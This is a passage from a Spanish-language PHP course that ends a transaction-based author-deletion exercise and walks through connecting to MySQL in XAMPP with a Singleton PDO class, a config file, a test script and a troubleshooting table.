3. **Si el usuario elige "Desvincular" (Mantener libros):**
   - Paso 1: Ejecutar `UPDATE libros SET autor_id = NULL WHERE autor_id = :id`
   - *(Nota: Para que esto funcione, la columna autor_id en BBDD debe permitir nulos).*
   - Paso 2: Ejecutar `DELETE FROM autores WHERE id = :id`
4. Hacer `commit()`.
5. Si algo falla en cualquier paso, hacer `rollBack()`.

**Tip de Frontend (Javascript)**

Para enviar la decisión del usuario al servidor, podéis usar un `confirm()` de Javascript o dos botones distintos en un formulario:

```
<button name="accion" value="cascada">Borrar todo</button>
<button name="accion" value="desvincular">Solo Autor</button>
```

Luego en PHP leéis `$_POST['accion']` para decidir qué rama del `if` ejecutar dentro de la transacción.

## 14.3. Rúbrica de Evaluación

| Criterio | Descripción | Peso |
|---|---|---|
| Arquitectura | Uso correcto de Singleton y separación de lógica/vista. | 30 % |
| Seguridad | Ausencia total de Inyección SQL (Prepared Statements). | 30 % |
| Funcionalidad | El CRUD funciona sin errores. | 20 % |
| Código Limpio | Nombres de variables claros, indentación y comentarios. | 10 % |
| Base de Datos | Diseño E-R correcto (Tablas normalizadas). | 10 % |

# Capítulo 15

# Taller Práctico: Conectando el Proyecto

Hemos visto la teoría del patrón Singleton. Ahora vamos a implementarlo en vuestro entorno local con XAMPP. Seguid estos pasos estrictamente para evitar los errores de conexión habituales.

## 15.1. Paso 1: Preparación del Entorno

En XAMPP, el servidor web busca los archivos en la carpeta `htdocs`.

1. Id a la carpeta de instalación: `C:/xampp/htdocs/`.
2. Cread una carpeta nueva llamada **biblioteca**.
3. Abrid esa carpeta con vuestro editor de código (VS Code, PHPStorm, etc.).

## 15.2. Paso 2: Archivo de Configuración (config.php)

Es una mala práctica escribir las contraseñas dentro de las clases. Vamos a crear un archivo separado que contenga las credenciales.

**Credenciales por defecto de XAMPP**

En una instalación estándar de XAMPP:

- **Host:** localhost
- **Usuario:** root
- **Contraseña:** (vacío, sin caracteres)

Cread el archivo `config.php`:

```
<?php
// Configuración de la Base de Datos
$db_config = [
    'driver' => 'mysql',        // En XAMPP usamos MySQL/MariaDB
    'host'   => 'localhost',    // El servidor está en nuestra propia má
   quina
```

```
    'dbname' => 'biblioteca_virtual', // EL NOMBRE QUE PUSISTEIS EN PHPMYADMIN
    'user'   => 'root',         // Usuario por defecto de XAMPP
    'pass'   => ''              // En XAMPP la contraseña viene vacía
];
?>
```

Listing 15.1: Fichero config.php

## 15.3. Paso 3: La Clase de Conexión (Database.php)

Ahora implementaremos la clase `Database` que consumirá esa configuración. Cread el archivo `Database.php` en la misma carpeta.

```
<?php
// Importamos la configuración
require_once 'config.php';

class Database {
    private static $instance = null;

    // Constructor privado (Patrón Singleton)
    private function __construct() {}

    public static function conectar() {
        // Usamos la variable global $db_config definida en el otro archivo
        global $db_config;

        if (self::$instance === null) {
            try {
                // Construimos el DSN (Data Source Name)
                $dsn = $db_config['driver'] . ":host=" . $db_config['host'] .
                       ";dbname=" . $db_config['dbname'] . ";charset=utf8mb4";

                // Creamos la conexión PDO
                self::$instance = new PDO($dsn, $db_config['user'], $db_config['pass']);

                // Configuración de Errores (Vital para depurar)
                self::$instance->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
                self::$instance->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);

                // Mensaje solo para modo depuración (Borrar en producción)
                // echo "Conexión realizada con éxito a la BBDD";

```

```
            } catch (PDOException $e) {
                // Si falla, cortamos el script y mostramos el error
                die("Error de Conexión: " . $e->getMessage());
            }
        }
        return self::$instance;
    }
}
?>
```

Listing 15.2: Fichero Database.php

## 15.4. Paso 4: Script de Prueba (test.php)

Para verificar que todo funciona, no vamos a crear todavía la web completa. Haremos un script simple de testeo. Cread `test.php`.

```
<?php
require_once 'Database.php';

echo "<h1>Probando conexión a la Base de Datos...</h1>";

try {
    // Intentamos conectar
    $pdo = Database::conectar();

    // Si llegamos aquí, es que no ha saltado ninguna excepción
    echo "<p style='color:green; font-weight:bold;'>
            ! ÉXITO! La conexión se ha establecido correctamente.
          </p>";

    // Hacemos una consulta de prueba para ver la versión de MySQL
    $stmt = $pdo->query("SELECT VERSION() as version");
    $resultado = $stmt->fetch();

    echo "Estás corriendo MySQL versión: " . $resultado['version'];

} catch (Exception $e) {
    echo "<p style='color:red; font-weight:bold;'>
            ERROR: Algo ha salido mal.
          </p>";
    echo $e->getMessage();
}
?>
```

Listing 15.3: Fichero test.php

## 15.5. Posibles Errores y Soluciones

Si al ejecutar `http://localhost/biblioteca/test.php` veis un error, revisad esta tabla:

| **Error en Pantalla** | **Solución** |
|---|---|
| *Access denied for user 'root'@'localhost'* | Seguramente has puesto una contraseña en `config.php` y tu XAMPP no tiene contraseña, o viceversa. |
| *Unknown database 'biblioteca_virtual'* | El nombre puesto en `dbname` no coincide con el que creaste en phpMyAdmin. Revisa mayúsculas y minúsculas. |
| *SQLSTATE[HY000] [2002] No connection* | El servicio MySQL en el panel de control de XAMPP está apagado (Stop). Dale a **Start**. |

# Conclusiones

Hemos pasado de escribir scripts inseguros y desordenados a construir una arquitectura de software profesional. El uso de PDO, Patrones de Diseño como Singleton y Repository, y la comprensión de las Transacciones ACID, os capacita para afrontar desarrollos reales en el mercado laboral actual.

El siguiente paso (UD8) será exponer estos datos no a una página web HTML, sino a una API REST para que puedan ser consumidos por aplicaciones móviles.